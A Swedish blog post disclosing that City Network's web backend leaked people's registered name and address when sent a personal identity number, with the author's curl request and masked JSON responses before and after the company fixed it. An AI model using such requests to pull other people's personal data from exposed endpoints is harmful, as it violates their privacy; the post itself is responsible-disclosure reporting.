City Network läckte persondata

Den första gången jag upptäckte det här var den 4 juni 2012. City Network hade ett formulär på hemsidan som fyllde i mina adressuppgifter automatiskt efter att jag angett mitt personnummer. Jag blev nyfiken på hur det fungerade och undrade hur de löst det.

Genom att titta i källkoden för webbsidan kunde jag komma fram till vilka formulärvärden som skickades och vart det skickades. Jag testade att skicka värdena själv med curl från kommandoraden och fick inte bara information om min folkbokföringsadress. Det följde med ett fält, VALIDATIONRESULT, som jag utgick från var en kreditkontroll av personnumret.

Jag skickade ett mail till deras support om detta den där dagen år 2012, men fick aldrig svar. Igår hittade jag min anteckning i Evernote och provade om det fortfarande fungerade. Det hade inte hänt mycket sedan 2012, mer än att de bytt toppdomän från .eu till .com och gått över till att använda https.

$ curl -i -X POST --data "action=check_orgno&no=760212XXXX&type=person"
 https://www.citycloud.com/wp-admin/admin-ajax.php

HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Thu, 20 Nov 2014 06:20:51 GMT
Content-Type: application/json
Content-Length: 362
Connection: keep-alive
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Accept-Ranges: bytes
X-Varnish: 1964646498
Age: 0
Via: 1.1 varnish
X-Cache-Hit: MISS

{"res":true,"data":{"PERSONNUMBER":"19760212-XXXX","TEMPLATENAME":"person",
"VALIDATIONRESULT":"0","VALIDATIONRESULTTEXT":"Godk\u00e4nd","REJECTIONS":"",
"EXAMINATIONS":"","OFFICIALFIRSTNAME":"XXXX Jonas","OFFICIALGIVENNAME":"Jonas",
"OFFICIALLASTNAME":"Bj\u00f6rk", "OFFICIALADDRESS":"Gatan",
"OFFICIALZIPCODE":"252XX","OFFICIALCITY":"Helsingborg"}}

Jag har maskat mitt personnummer, adress och postnummer ovanför. Jag har också brutit raderna för läsbarheten.

Efter kontakt med City Network igår har de åtgärdat problemet. Funktionaliteten med att automatiskt fylla i personuppgifterna är sedan länge borta från deras hemsida, då Datainspektionen hade synpunkter på sådana typer av lösningar, se bland annat ecommerce.org som har information om detta. Backend var dock fortfarande aktiverad och det var därför jag kom åt systemet fortfarande.

Enligt City Network användes fältet VALIDATIONRESULT för att ange om personnumret var korrekt formaterat eller inte och inte för kreditkontroll, som jag utgick från.

Idag, knappt 24 timmar efter att jag testade detta igen efter två år, fungerar inte anropet längre.

$ curl -i -X POST --data "action=check_orgno&no=760212XXXX&type=person"
 https://www.citycloud.com/wp-admin/admin-ajax.php

HTTP/1.1 200 OK
Server: nginx/1.1.19
Date: Fri, 21 Nov 2014 06:23:06 GMT
Content-Type: application/json
Content-Length: 30
Connection: keep-alive
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Accept-Ranges: bytes
X-Varnish: 1965004301
Age: 0
Via: 1.1 varnish
X-Cache-Hit: MISS

{"res":true,"data":"ACCEPTED"}

Knappt en timme efter att jag twittrade om detta fick jag respons från City Network på Twitter. De bad mig skicka ett DM (privat meddelade) med mitt telefonnummer så de kunde ringa upp. Någon timme efter att jag skickat över mitt telefonnummer tog en kille hos dem kontakt med mig. Jag berättade vad jag upptäckt och förklarade hur de kunde återskapa det. Vid lunchtid fick jag besked om att det var åtgärdat, knappt fem timmar efter att jag först tog kontakt. City Network tog detta på allvar och åtgärdade felet snabbt. Bra jobbat!